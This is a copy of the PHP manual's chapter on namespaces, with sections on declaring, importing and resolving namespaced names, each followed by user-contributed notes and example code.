Defining namespaces
Namespaces


Defining namespaces

(PHP 5 >= 5.3.0)

Although any valid PHP code can be contained within a namespace, only four types of code are affected by namespaces: classes, interfaces, functions and constants.

Namespaces are declared using the namespace keyword. A file containing a namespace must declare the namespace at the top of the file before any other code - with one exception: the declare keyword.

Example #1 Declaring a single namespace

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }

?>
The only code construct allowed before a namespace declaration is the declare statement, for defining encoding of a source file. In addition, no non-PHP code may precede a namespace declaration, including extra whitespace:

Example #2 Declaring a single namespace

<html>
<?php
namespace MyProject; // fatal error - namespace must be the first statement in the script
?>

In addition, unlike any other PHP construct, the same namespace may be defined in multiple files, allowing splitting up of a namespace's contents across the filesystem.

User Contributed Notes

huskyr at gmail dot com 05-Oct-2009 04:20
"A file containing a namespace must declare the namespace at the top of the file before any other code"

It might be obvious, but this means that you *can* include comments and white spaces before the namespace keyword.

<?php
// Lots
// of
// interesting
// comments and white space

namespace Foo;
class Bar {
}
?>
jeremeamia at gmail dot com 14-Jul-2009 08:43
You should not try to create namespaces that use PHP keywords. These will cause parse errors.

Examples:

<?php
namespace Project/Classes/Function; // Causes parse errors
namespace Project/Abstract/Factory; // Causes parse errors
?>
danbettles at yahoo dot co dot uk 14-Apr-2009 12:02
Regarding constants defined with define() inside namespaces...

define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
David Drakard 07-Sep-2008 05:56
I agree with SR, the new namespaces feature has solved a number of problems for me which would have required horrible coding to solve otherwise.

An example use:
Say you are making a small script, and write a class to connect to a database, calling it 'connection'. If you find your script useful and gradually expand it into a large application, you may want to rename the class. Without namespaces, you have to change the name and every reference to it (say in inheriting objects), possibly creating a load of bugs. With namespaces you can drop the related classes into a namespace with one line of code, and less chance of errors.

This is by no means one of the biggest problems namespaces solve; I would suggest reading about their advantages before citicising them. They provide an elegant solutions to several problems involved in creating complex systems.
Baptiste 14-May-2008 12:47
There is nothing wrong with PHP namespaces, except that those 2 instructions give a false impression of package management.
... while they just correspond to the "with()" instruction of Javascript.

By contrast, a package is a namespace for its members, but it offers more (like deployment facilities), and a compiler knows exactly what classes are in a package, and where to find them.
Anonymous 01-Apr-2008 11:11
@ RS: Also, you can specify how your __autoload() function looks for the files. That way another users namespace classes cannot overwrite yours unless they replace your file specifically.
Namespaces overview
Declaring sub-namespaces
Namespaces


Declaring sub-namespaces

(PHP 5 >= 5.3.0)

Much like directories and files, PHP namespaces also contain the ability to specify a hierarchy of namespace names. Thus, a namespace name can be defined with sub-levels:

Example #1 Declaring a single namespace with hierarchy

<?php
namespace MyProject\Sub\Level;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }

?>
The above example creates constant MyProject\Sub\Level\CONNECT_OK, class MyProject\Sub\Level\Connection and function MyProject\Sub\Level\connect.

User Contributed Notes

There are no user contributed notes for this page.
Defining namespaces
Defining multiple namespaces in the same file
Namespaces


Defining multiple namespaces in the same file

(PHP 5 >= 5.3.0)

Multiple namespaces may also be declared in the same file. There are two allowed syntaxes.

Example #1 Declaring multiple namespaces, simple combination syntax

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }

namespace AnotherProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
?>

This syntax is not recommended for combining namespaces into a single file. Instead it is recommended to use the alternate bracketed syntax.

Example #2 Declaring multiple namespaces, bracketed syntax

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace AnotherProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}
?>

It is strongly discouraged as a coding practice to combine multiple namespaces into the same file. The primary use case is to combine multiple PHP scripts into the same file.

To combine global non-namespaced code with namespaced code, only bracketed syntax is supported. Global code should be encased in a namespace statement with no namespace name as in:

Example #3 Declaring multiple namespaces and unnamespaced code

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace { // global code
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

No PHP code may exist outside of the namespace brackets except for an opening declare statement.

Example #4 Declaring multiple namespaces and unnamespaced code

<?php
declare(encoding='UTF-8');
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace { // global code
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

User Contributed Notes

kothnok at gmail dot com 03-Nov-2011 10:59
"use" statements are required to be placed after the "namespace my\space" but before the "{".
e.g.

<?php
namespace foo\bar;
use my\space\MyClass;
{

 // place code here

} // end of namespace foo\bar

namespace another\bar;
use my\space\MyClass;
use my\space\AnotherClass;
{

 // place code here

} // end of namespace another\bar
?>
anders at ingemann dot de 20-Mar-2010 11:16
Apparently you will have to define namespaces using curly brackets enclosing theclasses, if you want doxygen to pick them up.
Declaring sub-namespaces
Using namespaces: Basics
Namespaces


Using namespaces: Basics

(PHP 5 >= 5.3.0)

Before discussing the use of namespaces, it is important to understand how PHP knows which namespaced element your code is requesting. A simple analogy can be made between PHP namespaces and a filesystem. There are three ways to access a file in a file system:

  1. Relative file name like foo.txt. This resolves to currentdirectory/foo.txt where currentdirectory is the directory currently occupied. So if the current directory is /home/foo, the name resolves to /home/foo/foo.txt.
  2. Relative path name like subdirectory/foo.txt. This resolves to currentdirectory/subdirectory/foo.txt.
  3. Absolute path name like /main/foo.txt. This resolves to /main/foo.txt.
The same principle can be applied to namespaced elements in PHP. For example, a class name can be referred to in three ways:
  1. Unqualified name, or an unprefixed class name like $a = new foo(); or foo::staticmethod();. If the current namespace is currentnamespace, this resolves to currentnamespace\foo. If the code is global, non-namespaced code, this resolves to foo. One caveat: unqualified names for functions and constants will resolve to global functions and constants if the namespaced function or constant is not defined. See Using namespaces: fallback to global function/constant for details.
  2. Qualified name, or a prefixed class name like $a = new subnamespace\foo(); or subnamespace\foo::staticmethod();. If the current namespace is currentnamespace, this resolves to currentnamespace\subnamespace\foo. If the code is global, non-namespaced code, this resolves to subnamespace\foo.
  3. Fully qualified name, or a prefixed name with global prefix operator like $a = new \currentnamespace\foo(); or \currentnamespace\foo::staticmethod();. This always resolves to the literal name specified in the code, currentnamespace\foo.

Here is an example of the three kinds of syntax in actual code:

file1.php

<?php
namespace Foo\Bar\subnamespace;

const FOO = 1;
function foo() {}
class foo
{
    static function staticmethod() {}
}
?>

file2.php

<?php
namespace Foo\Bar;
include 'file1.php';

const FOO = 2;
function foo() {}
class foo
{
    static function staticmethod() {}
}

/* Unqualified name */
foo(); // resolves to function Foo\Bar\foo
foo::staticmethod(); // resolves to class Foo\Bar\foo, method staticmethod
echo FOO; // resolves to constant Foo\Bar\FOO

/* Qualified name */
subnamespace\foo(); // resolves to function Foo\Bar\subnamespace\foo
subnamespace\foo::staticmethod(); // resolves to class Foo\Bar\subnamespace\foo,
                                  // method staticmethod
echo subnamespace\FOO; // resolves to constant Foo\Bar\subnamespace\FOO

/* Fully qualified name */
\Foo\Bar\foo(); // resolves to function Foo\Bar\foo
\Foo\Bar\foo::staticmethod(); // resolves to class Foo\Bar\foo, method staticmethod
echo \Foo\Bar\FOO; // resolves to constant Foo\Bar\FOO
?>

Note that to access any global class, function or constant, a fully qualified name can be used, such as \strlen() or \Exception or \INI_ALL.

Example #1 Accessing global classes, functions and constants from within a namespace

<?php
namespace Foo;

function strlen() {}
const INI_ALL = 3;
class Exception {}

$a = \strlen('hi'); // calls global function strlen
$b = \INI_ALL; // accesses global constant INI_ALL
$c = new \Exception('error'); // instantiates global class Exception
?>

User Contributed Notes

Lukas Z 05-Dec-2011 03:25
Well variables inside namespaces do not override others since variables are never affected by namespace but always global:
"Although any valid PHP code can be contained within a namespace, only four types of code are affected by namespaces: classes, interfaces, functions and constants. "

Source: "Defining Namespaces"
http://www.php.net/manual/en/language.namespaces.definition.php
philip dot preisser at arcor dot de 14-Jun-2011 02:34
Working with variables can overwrite equal variables in other namespaces

<?php // php5 - package-version : 5.3.5-1ubuntu7.2

    namespace
    main
    {}

    namespace
    main\sub1
    {
        $data = 1;
    }

    namespace
    main\sub2
    {
        echo $data;// 1
        $data = 2;
    }

    namespace
    main\sub1
    {
        echo $data;// 2
        $data = 1;
    }

    namespace
    {
        echo $data;// 1
    }

?>
Franois Vespa 21-Dec-2010 05:42
It seems you cannot nest a constant declaration within a if statement

<?php

namespace FOO;

if(eval)
const BAR=true;

// will throw the following error:
// PHP Parse error:  syntax error, unexpected T_CONST

// instead use:

if(eval)
define('FOO\BAR',true);

?>
thinice at gmail.com 01-Dec-2010 10:10
Unfortunately as of 5.3.3, it's not possible to do something like:

<?php

namespace Animal {
  require 'Bovine.php';
  require 'Canine.php';
}

?>

Which could be quite handy for  a handful of reasons.
kukoman at pobox dot sk 17-Oct-2008 11:20
PHP 5.3.0alpha2 (cli)
<?php
//  namespace MyProject\DB;
require 'db.php';

use MyProject\DB; // fine; same as DB\
use MyProject\DB\Connection as DBC; // fine
use MyProject\DB as HM; // fine
use HM\Connection as DBC2; // class call ends with FATAL!!!

$x = new DBC(); // fine
$y = new HM\Connection(); // fine
$z = new DBC2(); // Fatal error: Class 'HM\Connection' not found
?>
richard at richard-sumilang dot com 27-Mar-2008 01:36
Syntax for extending classes in namespaces is still the same.

Lets call this Object.php:

<?php

namespace com\rsumilang\common;

class Object{
   // ... code ...
}

?>

And now lets create a class called String that extends object in String.php:

<?php

class String extends com\rsumilang\common\Object{
   // ... code ...
}

?>

Now if you class String was defined in the same namespace as Object then you don't have to specify a full namespace path:

<?php

namespace com\rsumilang\common;

class String extends Object
{
   // ... code ...
}

?>

Lastly, you can also alias a namespace name to use a shorter name for the class you are extending incase your class is in seperate namespace:

<?php

namespace com\rsumilang\util;
use com\rsumlang\common as Common;

class String extends Common\Object
{
   // ... code ...
}

?>

- Richard Sumilang
Defining multiple namespaces in the same file
Namespaces and dynamic language features
Namespaces


Namespaces and dynamic language features

(PHP 5 >= 5.3.0)

PHP's implementation of namespaces is influenced by its dynamic nature as a programming language. Thus, to convert code like the following example into namespaced code:

Example #1 Dynamically accessing elements

example1.php:

<?php
class classname
{
    function __construct()
    {
        echo __METHOD__,"\n";
    }
}
function funcname()
{
    echo __FUNCTION__,"\n";
}
const constname = "global";

$a = 'classname';
$obj = new $a; // prints classname::__construct
$b = 'funcname';
$b(); // prints funcname
echo constant('constname'), "\n"; // prints global
?>
One must use the fully qualified name (class name with namespace prefix). Note that because there is no difference between a qualified and a fully qualified Name inside a dynamic class name, function name, or constant name, the leading backslash is not necessary.

Example #2 Dynamically accessing namespaced elements

<?php
namespace namespacename;
class classname
{
    function __construct()
    {
        echo __METHOD__,"\n";
    }
}
function funcname()
{
    echo __FUNCTION__,"\n";
}
const constname = "namespaced";

include 'example1.php';

$a = 'classname';
$obj = new $a; // prints classname::__construct
$b = 'funcname';
$b(); // prints funcname
echo constant('constname'), "\n"; // prints global

/* note that if using double quotes, "\\namespacename\\classname" must be used */
$a = '\namespacename\classname';
$obj = new $a; // prints namespacename\classname::__construct
$a = 'namespacename\classname';
$obj = new $a; // also prints namespacename\classname::__construct
$b = 'namespacename\funcname';
$b(); // prints namespacename\funcname
$b = '\namespacename\funcname';
$b(); // also prints namespacename\funcname
echo constant('\namespacename\constname'), "\n"; // prints namespaced
echo constant('namespacename\constname'), "\n"; // also prints namespaced
?>

Be sure to read the note about escaping namespace names in strings.

User Contributed Notes

Alexander Kirk 06-Jul-2011 12:57
When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    public function factory() {
        return new C;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "foo" but you want "bar"
?>

You need to do it like this:

When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    protected $namespace = __NAMESPACE__;
    public function factory() {
        $c = $this->namespace . '\C';
        return new $c;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {
    protected $namespace = __NAMESPACE__;
}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "bar"
?>

(it seems that the namespace-backslashes are stripped from the source code in the preview, maybe it works in the main view. If not: fooA was written as \foo\A and barB as bar\B)
scott at intothewild dot ca 07-Aug-2009 03:33
as noted by guilhermeblanco at php dot net,

<?php

  // fact.php

  namespace foo;

  class fact {

    public function create($class) {
      return new $class();
    }
  }

?>

<?php

  // bar.php

  namespace foo;

  class bar {
  ...
  }

?>

<?php

  // index.php

  namespace foo;

  include('fact.php');

  $foofact = new fact();
  $bar = $foofact->create('bar'); // attempts to create \bar
                                  // even though foofact and
                                  // bar reside in \foo

?>
guilhermeblanco at php dot net 16-Jun-2009 12:04
Please be aware of FQCN (Full Qualified Class Name) point.
Many people will have troubles with this:

<?php

// File1.php
namespace foo;

class Bar { ... }

function factory($class) {
    return new $class;
}

// File2.php
$bar = \foo\factory('Bar'); // Will try to instantiate \Bar, not \foo\Bar

?>

To fix that, and also incorporate a 2 step namespace resolution, you can check for \ as first char of $class, and if not present, build manually the FQCN:

<?php

// File1.php
namespace foo;

function factory($class) {
    if ($class[0] != '\\') {
        echo '->';
         $class = '\\' . __NAMESPACE__ . '\\' . $class;
    }

    return new $class();
}

// File2.php
$bar = \foo\factory('Bar'); // Will correctly instantiate \foo\Bar

$bar2 = \foo\factory('\anotherfoo\Bar'); // Wil correctly instantiate \anotherfoo\Bar

?>
Using namespaces: Basics
namespace keyword and __NAMESPACE__ constant
Namespaces


namespace keyword and __NAMESPACE__ constant

(PHP 5 >= 5.3.0)

PHP supports two ways of abstractly accessing elements within the current namespace, the __NAMESPACE__ magic constant, and the namespace keyword.

The value of __NAMESPACE__ is a string that contains the current namespace name. In global, un-namespaced code, it contains an empty string.

Example #1 __NAMESPACE__ example, namespaced code

<?php
namespace MyProject;

echo '"', __NAMESPACE__, '"'; // outputs "MyProject"
?>

Example #2 __NAMESPACE__ example, global code

<?php

echo '"', __NAMESPACE__, '"'; // outputs ""
?>
The __NAMESPACE__ constant is useful for dynamically constructing names, for instance:

Example #3 using __NAMESPACE__ for dynamic name construction

<?php
namespace MyProject;

function get($classname)
{
    $a = __NAMESPACE__ . '\\' . $classname;
    return new $a;
}
?>

The namespace keyword can be used to explicitly request an element from the current namespace or a sub-namespace. It is the namespace equivalent of the self operator for classes.

Example #4 the namespace operator, inside a namespace

<?php
namespace MyProject;

use blah\blah as mine; // see "Using namespaces: importing/aliasing"

blah\mine(); // calls function MyProject\blah\mine()
namespace\blah\mine(); // calls function MyProject\blah\mine()

namespace\func(); // calls function MyProject\func()
namespace\sub\func(); // calls function MyProject\sub\func()
namespace\cname::method(); // calls static method "method" of class MyProject\cname
$a = new namespace\sub\cname(); // instantiates object of class MyProject\sub\cname
$b = namespace\CONSTANT; // assigns value of constant MyProject\CONSTANT to $b
?>

Example #5 the namespace operator, in global code

<?php

namespace\func(); // calls function func()
namespace\sub\func(); // calls function sub\func()
namespace\cname::method(); // calls static method "method" of class cname
$a = new namespace\sub\cname(); // instantiates object of class sub\cname
$b = namespace\CONSTANT; // assigns value of constant CONSTANT to $b
?>

User Contributed Notes

a dot schaffhirt at sedna-soft dot de 02-Feb-2010 06:24
Just in case you wonder what the practical use of the namespace keyword is...

It can explicitly refer to classes from the current namespace regardless of possibly "use"d classes with the same name from other namespaces. However, this does not apply for functions.

Example:

<?php
namespace foo;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
use foo|Xyz;
use foo|abc;
new Xyz(); // instantiates \foo\Xyz
new namespace|Xyz(); // instantiates \bar\Xyz
abc(); // invokes \bar\abc regardless of the second use statement
|foo|abc(); // it has to be invoked using the fully qualified name
?>

(Sorry, I had to use "|" instead of "\", as it was always discarded in the preview, except within a comment.)

Hope, this can save someone from some trouble.

Best regards.
Namespaces and dynamic language features
Using namespaces: Aliasing/Importing
Namespaces


Using namespaces: Aliasing/Importing

(PHP 5 >= 5.3.0)

The ability to refer to an external fully qualified name with an alias, or importing, is an important feature of namespaces. This is similar to the ability of unix-based filesystems to create symbolic links to a file or to a directory.

PHP namespaces support three kinds of aliasing or importing: aliasing a class name, aliasing an interface name, and aliasing a namespace name. Note that importing a function or constant is not supported.

In PHP, aliasing is accomplished with the use operator. Here is an example showing all 3 kinds of importing:

Example #1 importing/aliasing with the use operator

<?php
namespace foo;
use My\Full\Classname as Another;

// this is the same as use My\Full\NSname as NSname
use My\Full\NSname;

// importing a global class
use ArrayObject;

$obj = new namespace\Another; // instantiates object of class foo\Another
$obj = new Another; // instantiates object of class My\Full\Classname
NSname\subns\func(); // calls function My\Full\NSname\subns\func
$a = new ArrayObject(array(1)); // instantiates object of class ArrayObject
// without the "use ArrayObject" we would instantiate an object of class foo\ArrayObject
?>
Note that for namespaced names (fully qualified namespace names containing namespace separator, such as Foo\Bar as opposed to global names that do not, such as FooBar), the leading backslash is unnecessary and not recommended, as import names must be fully qualified, and are not processed relative to the current namespace.

PHP additionally supports a convenience shortcut to place multiple use statements on the same line

Example #2 importing/aliasing with the use operator, multiple use statements combined

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // instantiates object of class My\Full\Classname
NSname\subns\func(); // calls function My\Full\NSname\subns\func
?>

Importing is performed at compile-time, and so does not affect dynamic class, function or constant names.

Example #3 Importing and dynamic names

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // instantiates object of class My\Full\Classname
$a = 'Another';
$obj = new $a;      // instantiates object of class Another
?>

In addition, importing only affects unqualified and qualified names. Fully qualified names are absolute, and unaffected by imports.

Example #4 Importing and fully qualified names

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // instantiates object of class My\Full\Classname
$obj = new \Another; // instantiates object of class Another
$obj = new Another\thing; // instantiates object of class My\Full\Classname\thing
$obj = new \Another\thing; // instantiates object of class Another\thing
?>

Scoping rules for importing

The use keyword must be declared in the outermost scope of a file (the global scope) or inside namespace declarations. This is because the importing is done at compile time and not runtime, so it cannot be block scoped. The following example will show an illegal use of the use keyword:

Example #5 Illegal importing rule

<?php
namespace Languages;

class Greenlandic
{
    use Languages\Danish;

    ...
}
?>

Note:

Importing rules are per file basis, meaning included files will NOT inherit the parent file's importing rules.

User Contributed Notes

c dot 1 at smithies dot org 14-Aug-2011 03:26
If you are testing your code at the CLI, note that namespace aliases do not work!

(Before I go on, all the backslashes in this example are changed to percent signs because I cannot get sensible results to display in the posting preview otherwise. Please mentally translate all percent signs henceforth as backslashes.)

Suppose you have a class you want to test in myclass.php:

<?php
namespace my%space;
class myclass {
 // ...
}
?>

and you then go into the CLI to test it. You would like to think that this would work, as you type it line by line:

require 'myclass.php';
use my%space%myclass; // should set 'myclass' as alias for 'my%space%myclass'
$x = new myclass; // FATAL ERROR

I believe that this is because aliases are only resolved at compile time, whereas the CLI simply evaluates statements; so use statements are ineffective in the CLI.

If you put your test code into test.php:
<?php
require 'myclass.php';
use my%space%myclass;
$x = new myclass;
//...
?>
it will work fine.

I hope this reduces the number of prematurely bald people.
Jan Tvrdk 11-Jan-2011 06:26
Importing and aliasing an interface name is also supported.
thinice at gmail.com 01-Dec-2010 10:07
Because imports happen at compile time, there's no polymorphism potential by embedding the use keyword in a conditonal.

e.g.:

<?php
if ($objType == 'canine') {
  use Animal\Canine as Beast;
}
if ($objType == 'bovine') {
  use Animal\Bovine as Beast;
}

$oBeast = new Beast;
$oBeast->feed();
?>
nsdhami at live dot jp 15-Jul-2010 02:01
The "use" keyword can not be declared inside the function or method. It should be declared as global, after the "namespace" as:

<?php

namespace mydir;

// works perfectly
use mydir/subdir/Class1 as Class1;

function fun1()
{
    // Parse error: syntax error, unexpected T_USE
    use mydir/subdir/Class1 as Class1;
}

class Class2
{
    public function fun2()
    {
        // Parse error: syntax error, unexpected T_USE
        use mydir/subdir/Class1 as Class1;
    }
}
?>
namespace keyword and __NAMESPACE__ constant
Global space
Namespaces


Global space

(PHP 5 >= 5.3.0)

Without any namespace definition, all class and function definitions are placed into the global space - as it was in PHP before namespaces were supported. Prefixing a name with \ will specify that the name is required from the global space even in the context of the namespace.

Example #1 Using global space specification

<?php
namespace A\B\C;

/* This function is A\B\C\fopen */
function fopen() {
     /* ... */
     $f = \fopen(...); // call global fopen
     return $f;
}
?>

User Contributed Notes

routinet 28-Aug-2011 11:22
Included files will default to the global namespace.
<?php
//test.php
namespace test {
  include 'test1.inc';
  echo '-',__NAMESPACE__,'-<br />';
}
?>

<?php
//test1.inc
  echo '-',__NAMESPACE__,'-<br />';
?>

Results of test.php:

--
-test-
Using namespaces: Aliasing/Importing
Using namespaces: fallback to global function/constant
Namespaces


Using namespaces: fallback to global function/constant

(PHP 5 >= 5.3.0)

Inside a namespace, when PHP encounters a unqualified Name in a class name, function or constant context, it resolves these with different priorities. Class names always resolve to the current namespace name. Thus to access internal or non-namespaced user classes, One must refer to them with their fully qualified Name as in:

Example #1 Accessing global classes inside a namespace

<?php
namespace A\B\C;
class Exception extends \Exception {}

$a = new Exception('hi'); // $a is an object of class A\B\C\Exception
$b = new \Exception('hi'); // $b is an object of class Exception

$c = new ArrayObject; // fatal error, class A\B\C\ArrayObject not found
?>

For functions and constants, PHP will fall back to global functions or constants if a namespaced function or constant does not exist.

Example #2 global functions/constants fallback inside a namespace

<?php
namespace A\B\C;

const E_ERROR = 45;
function strlen($str)
{
    return \strlen($str) - 1;
}

echo E_ERROR, "\n"; // prints "45"
echo INI_ALL, "\n"; // prints "7" - falls back to global INI_ALL

echo strlen('hi'), "\n"; // prints "1"
if (is_array('hi')) { // prints "is not array"
    echo "is array\n";
} else {
    echo "is not array\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.
Global space
Name resolution rules
Namespaces


Name resolution rules

(PHP 5 >= 5.3.0)

For the purposes of these resolution rules, here are some important definitions:

Namespace name definitions
Unqualified name

This is an identifier without a namespace separator, such as Foo

Qualified name

This is an identifier with a namespace separator, such as Foo\Bar

Fully qualified name

This is an identifier with a namespace separator that begins with a namespace separator, such as \Foo\Bar. namespace\Foo is also a fully qualified name.

Names are resolved following these resolution rules:

  1. Calls to fully qualified functions, classes or constants are resolved at compile-time. For instance new \A\B resolves to class A\B.
  2. All unqualified and qualified names (not fully qualified names) are translated during compilation according to current import rules. For example, if the namespace A\B\C is imported as C, a call to C\D\e() is translated to A\B\C\D\e().
  3. Inside a namespace, all qualified names not translated according to import rules have the current namespace prepended. For example, if a call to C\D\e() is performed within namespace A\B, it is translated to A\B\C\D\e().
  4. Unqualified class names are translated during compilation according to current import rules (full name substituted for short imported name). In example, if the namespace A\B\C is imported as C, new C() is translated to new A\B\C().
  5. Inside namespace (say A\B), calls to unqualified functions are resolved at run-time. Here is how a call to function foo() is resolved:
    1. It looks for a function from the current namespace: A\B\foo().
    2. It tries to find and call the global function foo().
  6. Inside namespace (say A\B), calls to unqualified or qualified class names (not fully qualified class names) are resolved at run-time. Here is how a call to new C() or new D\E() is resolved. For new C():
    1. It looks for a class from the current namespace: A\B\C.
    2. It attempts to autoload A\B\C.
    For new D\E():
    1. It looks for a class by prepending the current namespace: A\B\D\E.
    2. It attempts to autoload A\B\D\E.
    To reference any global class in the global namespace, its fully qualified name new \C() must be used.

Example #1 Name resolutions illustrated

<?php
namespace A;
use B\D, C\E as F;

// function calls

foo();      // first tries to call "foo" defined in namespace "A"
            // then calls global function "foo"

\foo();     // calls function "foo" defined in global scope

my\foo();   // calls function "foo" defined in namespace "A\my"

F();        // first tries to call "F" defined in namespace "A"
            // then calls global function "F"

// class references

new B();    // creates object of class "B" defined in namespace "A"
            // if not found, it tries to autoload class "A\B"

new D();    // using import rules, creates object of class "D" defined in namespace "B"
            // if not found, it tries to autoload class "B\D"

new F();    // using import rules, creates object of class "E" defined in namespace "C"
            // if not found, it tries to autoload class "C\E"

new \B();   // creates object of class "B" defined in global scope
            // if not found, it tries to autoload class "B"

new \D();   // creates object of class "D" defined in global scope
            // if not found, it tries to autoload class "D"

new \F();   // creates object of class "F" defined in global scope
            // if not found, it tries to autoload class "F"

// static methods/namespace functions from another namespace

B\foo();    // calls function "foo" from namespace "A\B"

B::foo();   // calls method "foo" of class "B" defined in namespace "A"
            // if class "A\B" not found, it tries to autoload class "A\B"

D::foo();   // using import rules, calls method "foo" of class "D" defined in namespace "B"
            // if class "B\D" not found, it tries to autoload class "B\D"

\B\foo();   // calls function "foo" from namespace "B"

\B::foo();  // calls method "foo" of class "B" from global scope
            // if class "B" not found, it tries to autoload class "B"

// static methods/namespace functions of current namespace

A\B::foo();   // calls method "foo" of class "B" from namespace "A\A"
              // if class "A\A\B" not found, it tries to autoload class "A\A\B"

\A\B::foo();  // calls method "foo" of class "B" from namespace "A"
              // if class "A\B" not found, it tries to autoload class "A\B"
?>

User Contributed Notes

kdimi 27-Oct-2010 06:35
If you like to declare an __autoload function within a namespace or class, use the spl_autoload_register() function to register it and it will work fine.
safakozpinar at NOSPAM dot gmail dot com 22-Oct-2010 01:04
As working with namespaces and using (custom or basic) autoload structure; magic function __autoload must be defined in global scope, not in a namespace, also not in another function or method.

<?php
namespace Glue {
    /**
     * Define your custom structure and algorithms
     * for autoloading in this class.
     */
    class Import
    {
        public static function load ($classname)
        {
            echo 'Autoloading class '.$classname."\n";
            require_once $classname.'.php';
        }
    }
}

/**
 * Define function __autoload in global namespace.
 */
namespace {

    function __autoload ($classname)
    {
        \Glue\Import::load($classname);
    }

}
?>
sammaye 12-Jun-2010 04:24
I have noticed one problem with __autoload function. Say you have two namespaces, one is a sub of the other:

\Glue
\Glue\Import

Within that Import namespace you have a function auto() with the magic __autoload inside. No matter what you do that auto() will never traverse it's sub function meaning you will nevber get an __autoload function.

Even if you put the __autoload within a class within the namespace as such:

<?php
namespace Glue\Import;

class import{
    private static $_AutoLoad = array();
    private static $_Imported = array();

    function load($sName){
        if(! isset(self::$_AutoLoad[$sName]))
            //throw new ImportError("Cannot import module with name '$sName'.");
            echo("file with name '$sName' failed to load with path '".self::$_AutoLoad[$sName]."'");
        if(! isset(self::$_Imported[$sName])){
            self::$_Imported[$sName] = True;
            return include_once(self::$_AutoLoad[$sName]);
        }
    }

    function push($sName, $sPath){
        self::$_AutoLoad[$sName] = $sPath;
    }

    function auto(){
        function __autoload($sClass){
            load($sClass);
        }
    }
}
?>

It will not work. Just something to keep in mind.
rangel 31-Jul-2009 12:48
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!
rangel 31-Jul-2009 12:47
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!
Using namespaces: fallback to global function/constant
FAQ: things you need to know about namespaces
Namespaces


FAQ: things you need to know about namespaces

(PHP 5 >= 5.3.0)

This FAQ is split into two sections: common questions, and some specifics of implementation that are helpful to understand fully.

First, the common questions.

  1. If I don't use namespaces, should I care about any of this?
  2. How do I use internal or global classes in a namespace?
  3. How do I use namespaces classes functions, or constants in their own namespace?
  4. How does a name like \my\name or \name resolve?
  5. How does a name like my\name resolve?
  6. How does an unqualified class name like name resolve?
  7. How does an unqualified function name or unqualified constant name like name resolve?

There are a few implementation details of the namespace implementations that are helpful to understand.

  1. Import names cannot conflict with classes defined in the same file.
  2. Nested namespaces are not allowed.
